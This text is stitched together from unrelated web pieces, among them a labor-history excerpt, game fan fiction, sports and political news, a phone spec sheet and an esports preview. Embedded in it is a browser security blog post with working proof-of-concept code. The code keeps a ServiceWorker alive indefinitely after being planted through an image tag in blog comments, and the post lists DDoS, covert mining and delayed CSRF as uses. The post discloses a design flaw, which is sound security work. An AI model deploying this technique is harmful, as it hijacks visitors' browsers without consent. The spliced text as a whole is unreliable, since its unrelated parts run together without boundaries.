Conditions are arguably even worse in the international fish industry. At Walmart, you can buy inexpensive bags of frozen crawfish and shrimp. As with clothing subcontractors, Walmart signs contracts with suppliers that provide shellfish at low cost. And as in the apparel industry, Walmart’s pressure for low prices means seafood suppliers squeeze every cent out of labor. In 2012, the Worker Rights Consortium issued a report excoriating Walmart for contracting with C.J.’s Seafood, a crawfish processer that brought guest workers from Mexico to its Louisiana processing facility. C.J.’s forced them to work sixteen to twenty-four-hour shifts and locked them in the plant. Workers were threatened with deportation if they complained. Despite these threats, a worker named Ana Rosa Diaz, who had left her four children at home in Tamaulipas, Mexico, to find work, called the National Guestworker Alliance and reported the conditions. This started a series of investigations, including by the U.S. Department of Labor. Scott Nova, executive director of the Worker Rights Consortium, said, “The extreme lengths of the shifts people were required to work, the employer’s brazenness in violating wage laws, the extent of the psychological abuse the workers faced and the threats of violence against their families—that combination made it one of the most egregious workplaces we’ve examined, whether here or overseas.” This pressure and bad publicity led Walmart to suspend the contract, but not to change its own labor practices or take any responsibility for the manufacturing of its products.
States such as Louisiana promote themselves as “business friendly,” attracting corporations with the unstated promise that companies like C.J.’s can operate with little state interference. Increasingly, though, companies like Walmart want to avoid even the possible threat of a reduction in supply through regulations. Shellfish production has moved decisively overseas over the past two decades. More than 80 percent of shrimp eaten in the United States comes from other nations, with Bangladesh, Vietnam, and China increasingly providing Americans with their inexpensive shellfish. Those governments do not enforce labor laws in fish-processing sites. Immigrant workers in a shrimp factory in Thailand’s Songkhla Province that supplies Walmart went on strike in 2012. They struck over their filthy barracks and a reduced food allowance that left them starving. The Cambodian and Burmese workers cannot read Thai, are in debt to traffickers for their expenses in getting to Thailand, and have little recourse to improve their lives. Walmart originally claimed it had told the Songkhla supplier this behavior violated its labor codes, but it later denied ever having received products from that factory, despite overwhelming physical evidence to the contrary. Thai police fired gunshots in the air to break up the strikers, demonstrating that the government’s interest was in protecting the fish elite and foreign contracts, not ensuring basic human rights. The new government in Thailand, following the 2014 coup, is even worse in its contempt for workers and the poor.
USDA officials inspect a seafood processing operation at Tianbao in China, May 6, 2004 (USDA / Flickr)
On fishing boats, conditions are even worse. Labor brokers sell migrant workers from around Southeast Asia to the mackerel fishing industry until the immigrants pay off their debts. Fifty-nine percent of these workers have witnessed the murder of another worker. One ship owner killed all fourteen of his workers rather than pay them. Meanwhile, fish exports continue to grow in importance to the Thai economy. Thailand is now the third-leading exporter of fish in the world. The United States imported $2.5 billion in seafood from Thailand in 2012, including more than 20 percent of the nation’s mackerel and sardines.
The food products we buy in the middle aisles of the supermarket are even more obscured from their real costs than vegetables and meat. American companies have engaged in the same union busting, outsourcing, and subcontracting in processed food as in apparel or toys. These workers are subjected to the same problems of poisoning, poor conditions, and capital mobility as workers in every other industry. In 2013, Kellogg’s locked out its majority black workforce at a Memphis factory that makes Fruit Loops and Frosted Flakes in order to crush the union, Bakery, Confectionery, Tobacco Workers and Grain Millers International Union Local 252G. The company recently moved 58 million pounds of cereal production from Memphis to a new factory in Mexico where workers are required to live in company housing. It then hired a union-busting agency in Ohio to bring in scab laborers to Memphis. This one action is part of a larger move by Kellogg’s to eliminate most of its American factories and all of its unions. The company has recently closed union plants in Australia and Canada, shifting production to nonunion sites. In July 2014, a federal judge ordered an end to the lockout and the workers returned to the job, but the long-term outlook for the union members keeping their jobs does not look promising.
Here’s the thing about food: because it is so important to our lives and our health, it is one set of products where we can effectively resist the concealment of production. Eating is a profound, if everyday, experience that affects our health and our happiness. The explosive growth in farmers’ markets, concerns about genetically modified organisms, and fears of pesticides have challenged the industrial food complex, just not over its treatment of workers. Free-range chickens and cattle have become highly desirable and expensive products, both for taste and for health and safety concerns, but less so because of the workers injured and killed in the meatpacking plants.
We can see the current local food movement as a backlash against corporations’ efforts to hide their operations from us. We cannot control very much about our relationship to the larger economy. But regional food networks, with production ranging from rooftop gardens to large farms on the outskirts of cities, can bring a significant amount of food democracy back into cities while providing enormous environmental benefits compared to the current system. Eschewing monocultures for diversified food crops would cut down on the pesticides and herbicides needed, meaning less fertilizer, less pollution, and healthier rivers, lakes, and oceans as well as small farmers who could afford to live and farm without expensive chemicals.
But food movements also need to be justice movements and connect to bigger issues. If we are serious in thinking about a democratic food system, we have to support good working conditions throughout the food industry. It means we need to support farmworker and meatpacker unions. We have to end the tipped minimum wage and demand greater funding for OSHA and the FDA to inspect our food factories.
Ultimately, our food problems stem from the same lack of democracy that plagues our society. In our food system, animals are abused, workers die, waterways become polluted with animal waste, and wildlife dies. Yet most of us have no idea this is happening. If we can demand ethically produced food that allows consumers insight into food production, we can go far to reshape the world into a more just and sustainable place. Food corporations, from Monsanto to McDonald’s, hope this never happens.
Erik Loomis is an assistant professor of history at the University of Rhode Island. He blogs at Lawyers, Guns, and Money on labor and environmental issues past and present. Copyright © 2015 by Erik Loomis. This is an edited excerpt from Out of Sight: The Long and Disturbing Story of Corporations Outsourcing Catastrophe, published by The New Press. Reprinted here with permission.The thing I liked from the Ares or interceptors in general was they were so responsive. So responsive that you really felt them as part of yourself. It was very different if you flew bigger and slower ships. You might feel tired sooner or even a bit of pain from exerting your mind trying to control those big ships.
The journey was uneventful. I was now in nullsec systems. The traditional wisdom was not to jump from gate to gate directly. But I was in an interceptor so I thought I was immune from bubble. There would still be risk if there was gate camper waiting for me on the out gate with several smart bomb battleships. So far I had never been killed that way in my Ares. The ship was strong enough to survive 1 smart bomb.
Soon enough I was entering the alliance’s nullsec system. I saw one or two people in local from our alliance and I signaled a salute to them. Some returned back the salute but some didn’t because I could be too fast for them to respond before I left the system.
Finally I arrived at the destination. The moment I jumped from the gate someone in local contacted me. It was Barbz.
“Hey, buddy! Finally you are here!”
“Hi Barbz, yes. Finally! It’s good to see you again”.
“Approach the station but don’t dock yet”, he said.
“Why?”, I was confused why he said that.
“You’ll see”.
I did that and what I saw amazed me.
“Woah! Amazing Titan! So beautiful!”, in front of the station I saw it. A titan was moored. It was glorious. Unlike the golden Titan of the Amarr Imperial Family, this one had a black tone on it. Making it looked scary and menacing.
“Yes she is! I heard they are doing some testing on her newly fitted modules”, I saw Barbz in his Algos approached me.
“Could I orbit it?”, I asked.
“Yes of course. Many of us have been doing that for the past hours. Just make sure you keep a safe distance from it. 10Km would be fine. Be prepared though, she may randomly target a ship and test her weapon on the lucky ship”.
“Seriously?”, I was shocked.
“Haha just kidding, buddy. Enjoy your view”.
The sight of the black Titan really pumped me up. Joining the nullsec corp was not a bad decision at all!
After 30 minutes admiring her, I and Barbz docked up on the station.
“It’s good to see you arrive safely, buddy”, he shook my hand.
“Same here, Barbz. When did you arrive?”, I followed him exiting the ship hangar.
“Yesterday. I arrived in my capsule though”.
“Oh what happened? I hope you’re okay”.
“Yeah I was fine. I was followed by a neut for several systems when I decided to confront him. Too bad he got my Algos”.
“What is neut?”
“Neutral. People that are not in our corp or alliance”.
“I see. So they are enemies?”
“Not necessarily. But in nullsec the general rule is to shoot unless they are blue, green, or purple. They are friendly”.
“Hmm, okay”, I was still confused but I thought I would know more by myself later.
We entered what looked like the local pub. The place was not too big, with some tables were fully occupied by group of people. We went to the bartender.
I glanced over a group of people and I notice some unfriendly stare from few of them. I shrugged it off thinking I might be mistaken.
“Fucking miners!”, I clearly heard it said when I just passed their table. I stopped my steps immediately and turned around.
“Excuse me? What did you say?”This month’s new headliner for The Ultimate Fighter 18 Finale is scheduled for three rounds rather than the usual five.
As MMAjunkie.com reported Sunday, UFC officials announced a knee injury has forced lightweight champion Anthony Pettis (17-2 MMA, 4-1 UFC) out of next month’s UFC on FOX 9 headliner with Josh Thomson (20-5 MMA, 3-1 UFC), and in its place, a bout between flyweight champion Demetrious Johnson (18-2-1 MMA, 6-1-1 UFC) and Joseph Benavidez (19-3 MMA, 6-1 UFC) has shifted from the TUF 18 Finale to UFC on FOX 9’s new headliner.
As a result, a third fight between lightweights Nate Diaz (16-9 MMA, 11-7 UFC) and Gray Maynard (11-2-1 MMA, 9-2-1 UFC) has been promoted from the TUF 18 Finale’s co-main event to its new main event. Due to the late notice, UFC officials subsequently confirmed the fight will remain a three-rounder instead of being a five-round non-title affair.
The TUF 18 Finale takes place Nov. 30 at Mandalay Bay Events Center in Las Vegas. The main card airs on FOX Sports 1 following prelims on MMAjunkie.com.
While the UFC recently instituted five-rounders for headlining non-title affairs, late-notice bouts are still usually scheduled for three rounds.
Now in the night’s main event, Diaz and Maynard meet for the third time, but just the second time officially. They fought the first time on “The Ultimate Fighter 5” with Diaz winning by submission. In January 2010, Maynard won their lone official fight by split decision.
Now their rematch and unofficial trilogy fight gets main-event status in Sin City.
The latest TUF 18 Finale card now includes:
Nate Diaz vs. Gray Maynard
TBA vs. TBA – “TUF 18” men’s tournament final
TBA vs. TBA – “TUF 18” women’s tournament final
Walter Harris vs. Jared Rosholt
Maximo Blanco vs. Akira Corassani
Tom Niinimaki vs. Rani Yahya
Sean Spencer vs. opponent TBA
For more on the TUF 18 Finale, stay tuned to the UFC Rumors section of the site.
(Pictured: Nate Diaz)Before heading to Geneva this weekend for the P5+1 negotiations with Iran, John Kerry was in Israel, where he gave a lengthy interview on Channel 2, harshly criticizing Israel’s settlement expansion policy. According to Haaretz, that was the reason Kerry traveled to Israel “to try and deal with the crisis that resulted in Israel’s announcement of settlement expansion.”
The next day Kerry met with Netanyahu about Iran. The meeting, which went on for two hours, was described by multiple outlets as tense, and a scheduled joint appearance with the media was canceled. Haaretz reported Netanyahu exhibited “disturbing outbursts“. The Washington Post reported Netanyahu left “little doubt that the fate of the Palestinian talks is linked to the outcome of negotiations with Iran.”
The “ferocity of Netanyahu’s rage” was surely compounded by Kerry’s warning about settlement expansion, and a third intifada if Israel continues to colonize Palestinian territory, and the secretary of state’s impatience with those, e.g. Israel, using “fear tactics” to stop the P5+1 Iran negotiations. Abe Foxman said Kerry’s criticism was outrageous; “It is chutzpah to lecture Israel about the risks of peace and war.” To heed Kerry would mean that Netanyahu would succumb to Obama’s priorities over those of his own– an ongoing competition that’s marked the relationship between the officials since day one.
But this competing narrative has been absent for the most part from all mainstream reports.
The battle between US priorities and Israeli ones shows up in Jeffrey Goldberg’s latest Op-ed: Hagel falls into the Israel-Palestinian trap. Goldberg is regarded as the go-to American guy for the Israeli government, the reporter who tells Americans what they’re really thinking. Some said he carried water for that government when he published their warning three years ago about an imminent Israeli attack on Iran.
The interview with Hagel dealt with the idea of “linkage”– of resolving the Israel-Palestine conflict as one of America’s main strategic interests.
Goldberg: “What does the Barack Obama administration believe the United States’s overarching strategic interests to be?……simply describe the main American strategic interests in the region”.
Hagel’s answer |
Single yellow cards accrued will be cancelled after the quarter-finals, therefore ensuring that no players miss the Final because of receiving a caution in the semi-finals.[38]
Three spots in the 2016 Summer Olympics women's football tournament were filled by the UEFA teams that progress the furthest in the tournament, other than England.[39][40][n 2] Two spots went to France and Germany which both reached the quarter-finals.[44] The third spot was a tie between four teams eliminated in the round of 16: Netherlands, Norway, Sweden and Switzerland. A play-off tournament in March 2016 determined UEFA's third Olympic qualifier to be Sweden.[45][46]
Bracket [ edit ]
Round of 16 [ edit ]
Third place play-off [ edit ]
Final [ edit ]
Awards [ edit ]
The following awards were given at the conclusion of the tournament.[47]
All-Star Team [ edit ]
The All-Star Team elected by FIFA's Technical Study Group consists of the following players:[50]
Dream Team [ edit ]
The Dream Team elected by users of fifa.com consists of the following players and manager:[51]
Prize money [ edit ]
The total prize money offered by FIFA for the tournament was US$15 million,[52] which represents 2.6% of the total prize money for the 2014 Men's World Cup ($576 million).[53] The winning team, United States, received $2 million,[52] representing 5.7% of the amount received by Germany for winning the 2014 Men's World Cup ($35 million).[53]
Statistics [ edit ]
Goalscorers [ edit ]
There were 146 goals scored in 52 matches, for an average of 2.81 goals per match.
6 goals
5 goals
3 goals
2 goals
1 goal
1 own goal
2 own goals
Angie Ponce (in the same match, playing against Switzerland)
Source: FIFA.com[54]
Tournament ranking [ edit ]
Per statistical convention in football, matches decided in extra time are counted as wins and losses, while matches decided by penalty shoot-out are counted as draws.
Controversies [ edit ]
All of the tournament's venues had fields composed of artificial turf, which some players believe results in a higher risk of injuries to players. More than 50 players protested the use of the surface instead of grass on the basis of gender discrimination. They filed a lawsuit challenging FIFA's decision to play on artificial turf, claiming FIFA would never allow the men's World Cup to be played on "unsafe" artificial turf and thus the organizers had violated the Canadian Human Rights Act.[55][56][57] 2012 Women's World Player of the Year Abby Wambach noted "The men would strike playing on artificial turf."[58] The controversial issue of gender equality and an equal playing field for all sparked debate in many countries around the world. An application filed on 1 October 2014 with the Ontario Human Rights Tribunal by a group of women's international soccer players against FIFA and the Canadian Soccer Association noted that, in 1994, FIFA spent $2 million to plant natural grass over artificial turf in New Jersey and Detroit.[59][60] Some celebrities and prominent players showed their support for the women soccer players in defence of their lawsuit, including United States men's team keeper Tim Howard. Even with the possibility of boycotts, FIFA's head of women's competitions, Tatjana Haenni, made it clear "We play on artificial turf and there's no Plan B."[61][62] In January 2015, the lawsuit was withdrawn by the players.[63]
Fox commentator Julie Steward-Binks measured the turf temperature at several games. On 21 June at the Canada vs Switzerland round of 16 game in Vancouver, she reported that her thermometer was "officially broken". Her thermometer appears to max out at 120 °F (49 °C).[64]
During the tournament, Australian striker Michelle Heyman slammed the playing conditions, saying the turf is like "walking on hot coals" and the players feet "just turn white, your skin is all ripped off".[65]
Prior to the start of the Australia vs Japan quarterfinal in Edmonton on 27 June, Fox commentator Kyndra de St. Aubin measured the air temperature at 82 °F (28 °C) and the turf temperature at 150 °F (66 °C). Despite such dangerous conditions, officials decided against taking cooling breaks during the match because the air temperature was under 32 °C (90 °F). As the game wore on, players appeared noticeably exhausted due to the playing conditions.[66]
Broadcasting [ edit ]
The 2015 FIFA Women's World Cup was one of the first FIFA tournaments under new rights deals in two North American markets. In its host country of Canada, Bell Media acquired the broadcast rights; the competition was televised by CTV and TSN in English, and Réseau des sports (RDS) in French.[67][68] In the United States, English-language television rights were held by Fox Sports with coverage carried on the main Fox broadcast network, along with the Fox Sports 1 and Fox Sports 2 pay TV channels. Spanish-language rights were held by Telemundo and sister cable network NBC Universo.[69] Fox constructed a temporary studio for the Women's World Cup at Jack Poole Plaza in Vancouver, located outside the Vancouver Convention Centre.[70][71]
In December 2014, the European Broadcasting Union extended its rights to FIFA tournaments for its members in 37 countries, including the 2015 Women's World Cup.[72] In the United Kingdom, all matches from the tournament were shown by the BBC via BBC One, BBC Two, BBC Three and BBC Red Button on TV and Radio 5 Live on radio.[73] In Australia, SBS aired all 52 matches live online, and televised 41 matches live, with the only matches not televised live being those which aired concurrently.[74]
On 17 June 2014, the mascot of the tournament, Shuéme, a female great white owl was unveiled at the Canadian Museum of Nature in Ottawa.[75]
The five top-tier sponsors were Coca-Cola, Adidas, Hyundai–Kia, Visa, and Gazprom. In the final week of the tournament, the Canadian government added Gazprom to a list of organizations sanctioned for supporting the Russian annexation of Crimea. Media suggested the addition was delayed to reduce embarrassment to FIFA.[76]
See also [ edit ]
Notes [ edit ]Celebrities are calling for a black political revolution to galvanize African-American participation in local government in a new video backed by a political action committee.
“Instead of splurging on stuff, let’s spend our money on progress by boosting black politics,” actress Meagan Good says in a three-minute video posted Thursday on the website "Funny or Die."
Actress Yvette Nicole Brown and other famous black celebrities use the video to call for a break from the consumerism of Black Friday.
"With Black Friday around the corner - it's arguably the biggest shopping day of the year, a day when retailers turn a profit and most people go broke spending their holiday bonuses," Brown begins, her sentence completed by other celebs.
"Because a whole lot of people are getting ready to use money they don't have to buy stuff they don't need, for people you don't even like," the sketch continues.
ADVERTISEMENT
"Join the collective by reclaiming Black Friday this November 24 and support something that is really gonna make a difference in our lives," adds Jeff Johnson.
The assembled Hollywood stars tell viewers that rather than retail spending, investing in local politics and politicians can have a greater effect on communities and national politics.
Twitter users are encouraged to tweet #ReclaimBlackFriday to boost the campaign, and interested viewers can text 48484 for more information. The video is the first post from "The Collective PAC," a new video channel on Funny Or Die's website. No other information was available on the channel's page, but according to the FEC the political action committee has been active since 2016. The group is aiming to "recruit, train, fund and elect 45 progressive black candidates from around the country" in 2018, according to its website.
"By reclaiming a day that is synonymous with retail, we'll turn it into a day to promote qualified people of color to affect change in local governments," Brown says.
"90 percent of the elected officials in our country are white," Good adds. "Not even 90 percent of our country is white."
"With that kind of under representation, it means that there's a lot of people making a lot of decisions that don't really understand the needs of the black community," Carri Twigg says in the video.
"We didn't land on Black Friday," finishes Brown. "Black Friday landed on us."Asus has seen some success with the budget-oriented unlocked Zenfone 2, and now a less expensive variant of the device is coming to AT&T as a prepaid GoPhone. The Zenfone 2E keeps many of the design cues from the Zenfone 2, but pulls back on the spec sheet a bit.
Here's what the Zenfone 2E is packing.
Operating system: Android 5.0 (Lollipop) with ZenUI
Display: 5-inch IPS display with 1280x720 (HD) resolution and 294ppi pixel density
Cameras: 8MP rear F/2.0 aperture, 2MP front F/2.0 aperture
Network standards: AT&T 4G LTE FDD LTE 2/3/4/5/7/17/20, 3G 850/900/1900/2100, 2G 850/900/1800/1900
Memory: 1GB RAM
Storage: 8GB eMMC, Micro SDXC slot (up to 64GB, sold separately)
Wireless: 802.11b/g/n, Bluetooth® 4.0
Battery: 2500mAh non-removable lithium-polymer
Colors: White and black covers included
Dimensions (H x W x D): 5.83" x 2.81" x 0.43"
Weight: 5.47 oz.
MSRP: $119.99 with AT&T pre-paid GoPhone plan
The screen on this device is half an inch smaller compared to the Zenfone 2, and it's only 720p instead of 1080p. That's probably not a huge deal, but the step down to 1GB of RAM and 8GB of storage will be harder to swallow. It also has a dual-core Atom SoC instead of a quad-core, but Asus doesn't say exactly which one.
The Zenfone 2E is available in Walmart and Target stores today and will come to AT&T shops on July 24th. The specs aren't great, but the $119.99 price tag is reasonable for an AT&T phone.Bale: I'm not thinking about Real or Barca, I'm happy with life at Tottenham... for the time being
Gareth Bale has admitted he is happy with life at Tottenham, but conceded that he could leave White Hart Lane in the near future.
The Wales international has been in stunning form for the north London club once again this season, leading to interest from some of Europe's elite clubs including Real Madrid and Barcelona.
Spurs' victory over Newcastle on Saturday means they are just seven points off the top of the Barclays Premier League, but uncertainty over manager Harry Redknapp's future could allow their top stars to leave.
All smiles: With Spurs flying high, Bale is happy with life at the Lane
Bale - whose contract expires in 2015 - is excited for what the future holds, but won't rule out a move away.
He told ESPN: 'At the moment we are going in the right direction and it is a very exciting time.
'We have quite a young squad and we're still building. We have a new training ground coming next year and there are plans for a new stadium so it is all heading in the right direction.
'For the time being I'm happy at Tottenham, we're playing good football. We are right up there and closer to challenging for the Premier League. There is no reason why we can’t keep progressing.'
Much of Bale's continuing success this season is his shift in position to a more central role after finding life tough on the wing where he is often doubled-up on.
But he has moved inside on a number of occasions and is reaping the benefit. And he makes no secret of who the inspiration for this switch was.
He said: 'I spoke about it before (with Harry Redknapp) but the main person I have spoken to is my agent. He has watched me.
Double team: Bale is finding more room in midfield
'If you look at the likes of Ronaldo, when he started out wide and he got really good, people began to double up on him. He had to come inside, try and change his game and get on the ball and influence the game another way.
'Last season it was becoming a bit annoying for me because a lot of teams were putting a midfielder right in front of me and a full-back behind. It’s hard to get the ball out wide when people are just standing there and there is no space.
'I wanted to come inside and become more involved, to come and get the ball and have an effect on the game. Thankfully I have progressed this season and I am able to do that now.'
Bale is expected to be rested along with Ledley King for Sunday’s FA Cup fifth round tie at League One Stevenage ahead of the north London derby a week later.Not all graphics cards are created equal. Both AMD and Nvidia offer a wide range of graphics cards designed for tasks as varied as adding basic video support to a home theater PC to playing gorgeous video games at crushingly high frame rates and resolutions.
Here, we’re going to outline every consumer Radeon graphics card currently offered by AMD, along with the performance you can expect from each—so you know exactly which video card meets your particular needs. Today’s Radeon cards consume quite a bit more power than their GeForce counterparts, but the Radeon RX-500 and Radeon RX Vega series pair damned well with affordable FreeSync monitors that Nvidia has no answer for, bringing buttery smooth, tearing- and stutter-free gaming to the mainstream.
Looking for more of a compare-and-contrast? Check out PCWorld’s guide to the best graphics cards for PC gaming to see how Radeon and GeForce options compare at every price point and resolution.
Editor's note: This article is updated constantly as new Radeon graphics cards appear. It was most recently updated to include custom Vega 64 options.TL;DR In this post I will demonstrate one of the numerous ways how ServiceWorkers let us execute Javascript code inifinitely in the browser and will rant a little bit about ServiceWorkers design.
For demonstration visit this link. Close that tab. Few minutes later open DevTools/Application/ServiceWorkers/Show All and see it running. (could be fixed by now though)
This Catworker runs infinitely, and like a zombie, executes different tasks. No need for a malicious page, just any https:// blog allowing external images in the comments to plant the payload <img src="https://truefactor.io/cat.gif">.
Any web developer would be surprised: How come an image tag leads to JS code execution? How come that JS execution is persistant? I never allowed that!
ServiceWorkers are overly complex
To make “Progressive” Web Applications popular Chrome team created ServiceWorkers, and they never asked your permission. Currently the only real world use case for that “shiny tech” is to show a Push Notification popup. If you don’t believe me, open your registered service workers and inspect their contents.
Even that simple trick is overcomplicated - hunders of lines of code to get started, dependance on FCM etc.
Put sw.js on the server, register a worker on the client side, wait for a Promise, then serviceWorkerRegistration.pushManager.getSubscription(), extract endpoint and registration_id, save those on the server.
Could be: navigator.pushManager.getSubscription("We will send you weather updates once an hour").then(function(endpoint){ #FCM endpoint })
In my humble opinion ServiceWorker is a beautiful answer to non existing question. It is way harder to learn than Appcache while being less secure.
How to keep it alive for long
ServiceWorker is killed 60 seconds after it receives last event e.g. onmessage, onfetch, onforeignfetch etc
postMessage-ing itself
self. addEventListener ('message', function ( event ) { var spawnNewMessageEvent = function ( data ) { return new Promise ( function ( success ) { setTimeout ( function () { var sw = self. registration. active ; sw. postMessage ( data ); success ( "success" ); }, 30000 ) }); }; event. waitUntil ( doSomething (). then ( spawnNewMessageEvent )); });
Two workers foreignfetch-ing each other. To use a ForeignFetch you need to apply for Origin Trial token - entirely automatic process, no review/verification, and allows the attacker to use fresh experimental techniques on real users without their consent. One catworker doing a fetch to cat.gif, which leads to registration of a new worker with different scope (it’s called Link-based registration), repeat 55 seconds later.
require'sinatra' ot = 'AglMWHYLtMNT8FVZp9u368r0HZPKh7Pjfm7WYEyHwKz4zwaSznv682Bckrz903mz54CVZQACD5ZlSrLpuh8CKQIAAABYeyJvcmlnaW4iOiAiaHR0cHM6Ly90cnVlZmFjdG9yLmlvOjQ0MyIsICJmZWF0dXJlIjogIkZvcmVpZ25GZXRjaCIsICJleHBpcnkiOiAxNDg0OTM2NzI3fQ==' get "/cat.gif" do response. headers [ 'Origin-Trial' ] = ot ; response. headers [ 'Access-Control-Allow-Origin' ] = '*' ; response. headers [ 'Link' ] = '</sw?' + rand ( 999999999 ). to_s + '>; rel="serviceworker"; scope="/' + rand ( 999999999 ). to_s + '"' if params [ :skip ] 'ok' else response. headers [ 'Content-Type' ] = "image/gif" File. open ( './cat.gif' ). read end end get "/sw" do response. headers [ 'Content-Type' ] = "text/javascript" return sw =<< HTML // #{ rand ( 999999999 ). to_s } setTimeout(function(){ console.log("Forking") fetch('https://truefactor.io/cat.gif?skip=1&'+Math.random(9999999)); }, 30000); HTML end
How it can be abused?
Right now, attackers could benefit from your browser in three quite dangerous ways.
DDoS someone (easy to stop by Referer blocklist) memory-hard calculations like scrypt/litecoin mining. I can get only 2000 hashes/sec, but it’s completely free and can scale to millions of machines. Look through other functions available inside of a ServiceWorker. Most dangerous, delayed CSRF. Once you find a CSRF issue on a website you can send a job to all your zombies and abuse their cookies to run some requests on their behalf.
ServiceWorkers == persistance by design. They run after you close the tab, they randomly recieve ‘sync’ events and wake up, get updated every 24 hours, and if you allowed a website to send Push Notifications, they can also run some JS every time they show a popup. All that stuff is already in production for quite a while.
There will be more bypasses to keep attacker’s code running. This class of bugs doesn’t get enough attention from the team. Reports are public and given very low priority.
On top of that, Origin Trials approach is flawed - anyone can get a Token, anyone can abuse an experimental feature. Must be opt-in via flags only.
I strongly believe there should be a way to switch off ServiceWorkers with a flag, because for me, it brings nothing to the table (did you read the Cache docs? it’s like rocket science), and I’m not so sure it won’t break Same Origin Policy or whatever in the future, since features are rushed to production with little review… Here are some more low-sev vulnerabilities: FF, JSONP+XSS=takeover, easier to take over sandbox domains.
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Dec 10, 2016 • Egor Homakov (@homakov)DreamHack Masters Malmö will be April's marquee CS:GO tournament, with 16 teams competing for $250,000 from April 12-17. This is our official preview for the event.
April 2016 will be a somewhat quieter month for CS:GO fans than March was as the previous month saw both IEM Katowice and the MLG Columbus Major take place with both events helping to introduce new-found storylines and rivalries into the competitive scene.
Since then we have also seen numerous high profile roster changes (such as with G2 and FaZe respectively) as well as the game's two best players taking time off to heal due to unfortunate arm/wrist injuries, e.g. Olof "olofmeister" Kajbjer of fnatic and Ladislav "GuardiaN" Kovács of Natus Vincere and both sojourns will have an impact on the upcoming event in Sweden.
Regardless of these in-between occurrences, DreamHack Masters Malmö will feature nine of the current top ten teams in the world, four more teams in the #11-20 range, and a few scrappy outsiders who are either seeking to regain past prominence or to make an opening statement on the CS:GO scene.
As a reminder, the format of the tournament is similar to that of the Major: four groups of four teams with best-of-one matches aside from the decider match. The top two teams of each group move to the playoffs on Saturday, April 16, meaning that Friday, April 15 will be an off-day for teams. You can find further broadcast information in our viewer's guide here.
The Malmö Arena is next in line on the CS:GO arena inauguration tour
We have yet again prepared an event page with all the info you need to know and will need to know as the tournament gets under way tomorrow. For quick reference however, the groups can be found below:
The style of this preview will proceed in a group-based fashion, starting with the team listed at the top of each group and is therefore not based on relative skill or prejudice.
We begin the preview with Group A of DreamHack Masters Malmö. Happy reading.
Group A
Luminosity
Luminosity come into the event in Sweden's third largest city as the winners of the MLG Columbus Major and as the world's second best team. Due to fnatic dropping out of the event in Malmö as a result of olofmeister's injury, the stakes could not be higher for this team as they seek to achieve a world first in putting a non-European team into first place in the Global Rankings.
We also were witness to the atmospheric phenomenon known as coldzera Unleashed™ at the Major, with the Brazilian player earning the MVP award as well as dominating our Stats section with a 1.36 rating and a +84 KDD.
After an early 2016 of grinding their way to semifinals and grand finals, the victory in Columbus must have felt like a sweet relief to FalleN and his men, especially as it also came with both the ease of avoiding elite talent such as fnatic and Astralis but also with the grind of defeating longtime foes such as Virtus.pro, Liquid, and Natus Vincere.
Luminosity's enemies have sown wheat and have reaped thorns while the Brazilians reap trophies and Karambits
In a way, Malmö is Luminosity's tournament to lose although we should stop short of calling a guaranteed entry even into the playoffs as the team's group is littered with potential pitfalls.
In Group A, the Brazilians will open against the true wildcard of the tournament in the form of TYLOO, a Chinese team who have been making waves in East Asia but who are untested against European opposition and thus will be seeking to avoid a CyberZen-like meltdown as the latter team displayed at the StarSeries XIV finals.
In addition, both Liquid and mousesports have played the Brazilians to incredibly close series (the former in the Major semifinals and the latter in the group stage of the Major and in IEM Katowice) and pose a serious risk to the Brazilian team.
The road to greatness is a never-ending challenge and causes grey hairs to those who tread it for too long: Luminosity should not make the mistake of underestimating their group here in Malmö.
Liquid
The American-Ukrainian hometown heroes of Columbus wowed the crowd at the Major and took North America to heights unseen since DreamHack Winter 2013: a semifinals placing at the Major (a result which ranks them as eighth best team in the world currently).
In addition to s1mple continuing to be the heartthrob of millions of teenage boys everywhere, the Ukrainian import delivered an astounding performance the Major that was a reversal of his crumbling at the Major Qualifier: a 1.16 rating (tied for third-best) and a +26 KDD.
Judging off of the team's Major run in addition to Hiko's time to adjust to calling duties and the ever continuing maturation of the young EliGE and nitr0, we could say that Liquid were a shoe-in for the second team to advance from this group, perhaps after playing a close decider match against mousesports.
"Will they like me?" Yes, they did.
However, the team come with a decider clause of their own that may seriously impact results: they will be playing this tournament with their new addition and AWPer koosta, formerly of Enemy.
Before the Major, this change for Eric "adreN" Hoag may have seemed benign and wholly welcome as the latter player had struggled at offline events. However, up until the semifinal where his old unsure self reemerged, adreN continued to live up to his new-found moniker of "GODren" and threw a wrench in the Liquid organisation's plans for roster development.
It will be truly interesting to see if koosta can uphold the mantle foist upon him by fans and by the community, especially as an AWP-wielding player who may take away from some of s1mple's impact in-game. The pressure could not be higher for Liquid's fifth and the somewhat diminutive (in person that is) youngster will need to put up a strong performance if he wishes to keep the snakes at bay.
mousesports
After two soul-crushing exits at $250,000+ tournaments in March, mousesports have been delivered an extremely tough group to try and succeed in in Malmö and will yet again probably rely on helmsman NiKo to fight and stay the winds of defeat.
Though they slipped to eleventh place in our ranking as of today, the mainly German team remain a unit that can compete with nearly any of the teams in the top ten in close games and one that is certainly a step above many in the #11-20 range.
But offline games seem to spell a difficult tale for mousesports and it is one that usually reads as follows: NiKo is set up in positions to get impact kills and multi-frags, which he usually does, whereas one of the other heavy-hitters on the team slumps as a result.
No man is an island
Whether that slump come from Dutchman chrisJ (who was admittedly in-form at the Major) or from Deutschländer nex (who seems to at-times struggle in the big offline games) is uncertain, but it often appears as if the German machine is not so well-oiled and incongruous, a marked contrast to the home country's industrial sector.
It is rather unfortunate that mousesports have been given a tough group yet again, however the team could be quite likely to advance if we disregard their group stage exit at the Major: TYLOO are unproven on the international stage, Liquid have flown to play in Sweden which is apparently the spawn point for American jet lag complaints, and Luminosity have played a few close games against NiKo and crew.
The potential for wins is there and the team could be toasting Prost! by the end of the group stages yet.
TYLOO
Easily the biggest wildcard of DreamHack Masters Malmö, TYLOO's main feat in 2016 has been edging out VG.CyberZen as China's best team, which the team especially proved at the Asian Malmö qualifier.
Since the Quanqing "qz" Wu fiasco at the Asia Minor (which saw investigative community work uncover that qz had a previous VAC ban and which thus disqualified the Chinese team from that tournament), TYLOO signed AttackeR and continued to stack up results and especially in qualifiers, such as to the next upcoming Asia Minor.
Time to find out if AttackeR fancies one, mate
Interestingly enough, after such a dominant winning streak in our own stats section, TYLOO lost the upper bracket final of the Asia Minor Chinese qualifier to VG.CyberZen 1-2 before ultimately qualifying through the lower bracket final over AG.white.
While this loss can be taken as a sign of the increasing strength of domestic competition in the Heavenly Kingdom, it does point to the obvious fact that TYLOO are not some all-dominant beast from the East that will plow through Malmö as a wildcard team.
